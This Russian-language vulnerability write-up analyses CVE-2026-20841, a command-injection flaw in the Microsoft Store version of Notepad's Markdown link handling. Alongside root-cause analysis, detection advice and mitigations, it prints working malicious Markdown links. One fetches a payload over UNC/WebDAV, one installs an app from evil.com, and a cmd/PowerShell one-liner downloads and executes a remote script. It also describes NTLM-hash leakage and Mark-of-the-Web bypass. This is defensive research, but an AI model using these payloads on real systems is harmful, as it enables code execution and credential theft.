Уязвимость в Windows Notepad
Уязвимость в Windows Notepad
Категория: Программы Теги: Уязвимости Опубликовано: 30 марта 2026

Уязвимость BDU:2026-01742 (CVE-2026-20841) Notepad Windows

В феврале 2026 года Microsoft выпустила исправление критической уязвимости в приложении «Блокнот» (Notepad), поставляемый через Microsoft Store. Уязвимость BDU:2026-01742 (CVE-2026-20841) связана с внедрением команды (command injection) в механизме обработки Markdown-разметки. Суть проблемы заключается в том, что Notepad не осуществляет должную фильтрацию URI-схем при обработке кликабельных ссылок в Markdown-файлах, что позволяет злоумышленнику выполнить произвольный код на системе жертвы. Проблема затрагивает версии Notepad до 11.2510 включительно, в то время как классическая версия Notepad.exe, входящая в состав Windows, не подвержена данной уязвимости.

Анализ уязвимости

Уровень опасности: 7.8 (HIGH) по вектору CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Вектор атаки: 

  • AV:L (Вектор атаки: локальный)
  • AC:L (Сложность атаки: низкая)
  • PR:N (Необходимые привилегии: отсутствуют)
  • UI:R (Взаимодействие с пользователем: требуется)
  • S:U (Влияние на изоляцию: не оказывает)
  • C:H (Влияние на конфиденциальность: высокое)
  • I:H (Влияние на целостность: высокое)
  • A:H (Влияние на доступность: высокое)

Условия эксплуатации

Для успешной реализации атаки необходимо соблюдение нескольких условий:

  1. Наличие уязвимой версии Notepad — версии 11.2508 и ниже, установленной через Microsoft Store. Классический Notepad.exe не подвержен уязвимости.

  2. Открытие вредоносного Markdown-файла — жертва должна открыть .md файл в уязвимой версии Notepad.

  3. Клик по ссылке — пользователь должен нажать на ссылку внутри документа, при этом в некоторых сценариях требуется удерживать клавишу Ctrl (Ctrl+Click).

  4. Наличие интерпретатора для определенных типов файлов — для беззвучного выполнения некоторых типов полезной нагрузки требуется наличие установленного Python (для .py файлов) или Java (для .jar).

  5. Отсутствие или возможность обхода Mark of the Web (MoTW) — при загрузке файлов из интернета Windows устанавливает специальную метку (ZoneID=3), которая может инициировать предупреждение безопасности при попытке запуска. Злоумышленники обходят это ограничение через использование WebDAV и SMB (UNC-пути).

Важно подчеркнуть, атака использования социальной инженерии для убеждения жертвы открыть файл и кликнуть ссылку.

Технический анализ уязвимости

Уязвимость кроется в функции обработки кликов по ссылкам в Markdown-документах. Согласно исследованию TrendAI Research и Delta Obscura, ключевая функция, ответственная за обработку ссылок — sub_140170F60(). Эта функция передает значение ссылки в Windows API ShellExecuteExW() после выполнения минимальной фильтрации.

Проблема заключается в том, что фильтрация ограничивается удалением только начальных и конечных символов обратной косой черты и прямой косой черты. При этом не происходит проверки URI-схемы ссылки, что позволяет использовать любые зарегистрированные в системе протоколы, включая:

  • file:// — для доступа к локальным файлам и UNC-путям

  • ms-appinstaller:// — для установки приложений из пакетов .appx/.msix

  • Любые пользовательские протоколы, зарегистрированные установленными приложениями

Вектор атаки через Markdown-ссылки в Windows Notepad

Функция ShellExecuteExW() является мощным механизмом Windows для запуска приложений, связанных с определенными типами файлов или протоколами. Отсутствие проверки со стороны Notepad означает, что любой зарегистрированный в системе протокол может быть вызван без каких-либо предупреждений со стороны самого приложения.

Особенности эксплуатации через UNC-пути

Наибольший интерес для злоумышленников представляет использование протокола file:// в сочетании с UNC-путями (Universal Naming Convention). Конструкция file:///\\attacker@port\DavWWWRoot\payload.py заставляет Windows обращаться к SMB-серверу (порт 445) или WebDAV-серверу (порт 80/443), размещенному злоумышленником, для получения файла полезной нагрузки.

Особенность такого подхода заключается в том, что при обращении к удаленному ресурсу через UNC-путь Windows автоматически аутентифицируется на сервере, передавая хеш пароля текущего пользователя (NTLM-хеш), что может быть использовано для дальнейшего развития атаки (NTLM-relay). Кроме того, файлы, загруженные через SMB/WebDAV, не получают метку Mark of the Web, что позволяет обойти стандартные предупреждения безопасности Windows.

Анализ кода эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости CVE-2026-20841 (BDU:2026-01742). Скрипты poc.py и poc.js демонстрируют генерацию вредоносного Markdown-файла.

Формирование вредоносной ссылки

Ключевой фрагмент кода на Python:

link = f'file:///\\\\{host}@{port}\\DavWWWRoot\\{payload_path}'

Разберем эту строку по частям:

  1. file:/// — схема протокола, которая указывает Windows на необходимость обращения к файловой системе.

  2. \\\\{host}@{port} — формирование UNC-пути. Обратите внимание на экранирование: в итоговой строке будет \\attacker@5005. Двойная обратная косая черта в начале указывает на сетевой ресурс.

  3. \\DavWWWRoot — специальный виртуальный каталог, используемый в IIS для WebDAV. При обращении к этому ресурсу Windows автоматически инициирует подключение к WebDAV-серверу.

  4. \\{payload_path} — путь к файлу полезной нагрузки на сервере злоумышленника.

Функция generate_poc() создает Markdown-файл следующего содержания:

# CVE-2026-20841 PoC

[Open](file:///\\attacker@5005\DavWWWRoot\payload.py)

При открытии этого файла в Notepad пользователь увидит кликабельную ссылку "Open". Нажатие на эту ссылку (в некоторых версиях с зажатым Ctrl) приведет к вызову ShellExecuteExW() с указанным URI.

Вспомогательные полезные нагрузки

Примеры payload-файлов (hello.vbs и hello.py) демонстрируют минимальный код для подтверждения выполнения:

import ctypes
ctypes.windll.user32.MessageBoxW(None, 'CVE-2026-20841', 'PoC', 0)

Этот скрипт выводит диалоговое окно с текстом "CVE-2026-20841". Важно отметить, что файлы с расширением .py выполняются без предупреждений Windows только при наличии установленного Python. В то же время файлы с расширениями .exe.vbs.lnk инициируют предупреждение безопасности.

Возможные векторы атаки

1. Удаленная полезная нагрузка через file:/// и UNC

Наиболее гибкий вектор, позволяющий злоумышленнику доставить произвольный файл на систему жертвы:

[Download and Execute](file:///\\192.168.1.100@5005\DavWWWRoot\malware.py)

При клике Windows:

  1. Устанавливает соединение с SMB/WebDAV-сервером по указанному адресу

  2. Загружает файл malware.py

  3. Выполняет его, если Python установлен в системе

2. Установка вредоносных приложений через ms-appinstaller://

Этот вектор позволяет устанавливать произвольные пакеты приложений без участия пользователя:

[Install App](ms-appinstaller://?source=https://evil.com/malicious.appx)

При клике Windows запускает App Installer, который загружает и устанавливает указанный пакет. Установка происходит в фоновом режиме, без дополнительных предупреждений.

3. Выполнение локальных исполняемых файлов

[Run System Tool](file://C:/windows/system32/cmd.exe)

Этот вектор позволяет запускать любые исполняемые файлы, уже присутствующие в системе. В сочетании с аргументами командной строки (которые также могут быть переданы) злоумышленник может выполнить сложные цепочки атак:

[Execute PowerShell](file://C:/windows/system32/cmd.exe?/c+powershell+-Command+Invoke-Expression+(New-Object+Net.WebClient).DownloadString('http://evil.com/script.ps1'))

4. Использование других зарегистрированных протоколов

Злоумышленники могут использовать протоколы, зарегистрированные другими приложениями. Например, если в системе установлен WinSCP, будет доступен протокол sftp:; для Adobe Acrobat — acrobat:. Исследователи также отмечают возможность использования протоколов ms-*, таких как ms-mmsys:msteams: для Microsoft Teams или odopen: для OneDrive.

Что может получить злоумышленник

Успешная эксплуатация уязвимости позволяет злоумышленнику выполнить произвольный код в контексте текущего пользователя. В зависимости от привилегий учетной записи, возможны следующие сценарии:

  1. При наличии прав администратора — полное нарушение конфиденциальности, целостности и доступности системы. Злоумышленник может установить постоянное присутствие, отключить защитное ПО, изменить системные настройки, получить доступ к данным.

  2. При стандартных правах пользователя — выполнение кода с ограниченными привилегиями, но этого достаточно для:

    • Сбора учетных данных из браузеров, почтовых клиентов, VPN-клиентов

    • Кражей документов и файлов, доступных пользователю

    • Использования системы как плацдарма для дальнейшего распространения по сети (боковое перемещение)

    • Установки программ в директории пользователя

    • Внедрения в процессы автозагрузки пользователя

  3. В корпоративной среде — получение доступа к внутренним ресурсам, возможность сбора данных из корпоративных приложений, компрометация учетных записей Active Directory через NTLM-relay атаки при использовании SMB-вектора.

Методы обнаружения атаки

Мониторинг процессов

Основной индикатор компрометации — появление дочерних процессов, запущенных notepad.exe. В нормальной работе Notepad не создает дочерние процессы, поэтому появление таких процессов, как cmd.exepowershell.exepython.exewscript.exe, должно вызывать подозрения.

Мониторинг сетевой активности

При использовании вектора file:/// с UNC-путями Notepad инициирует сетевые подключения к SMB (порт 445) или WebDAV (порты 80, 443). Мониторинг неожиданных исходящих подключений к внешним ресурсам на эти порты может указывать на попытку эксплуатации.

Журналы Windows

Включение расширенного аудита процессов с записью командной строки позволяет обнаруживать попытки эксплуатации.

Способы защиты

Приоритетные меры

  1. Обновление Notepad до версии 11.2510 или новее.

  2. Отключение рендеринга Markdown в Notepad.

  3. Изменение ассоциации файлов .md. Назначить другой текстовый редактор (например, Notepad++ или VS Code) для открытия Markdown-файлов по умолчанию.

Заключение

BDU:2026-01742 (CVE-2026-20841) является наглядным примером того, как расширение функциональности привычных приложений может создавать новые векторы атак. Уязвимость в Notepad демонстрирует критическую важность правильной обработки пользовательского ввода и фильтрации URI-схем в приложениях, работающих с внешними данными.

Несмотря на необходимость взаимодействия с пользователем и наличие ограничений (предупреждения для опасных расширений), данная уязвимость представляет реальную угрозу, особенно в средах, где установлены интерпретаторы (.py, .jar) или используются решения, расширяющие зарегистрированные протоколы.

Алексей Черемных Алексей Черемных
102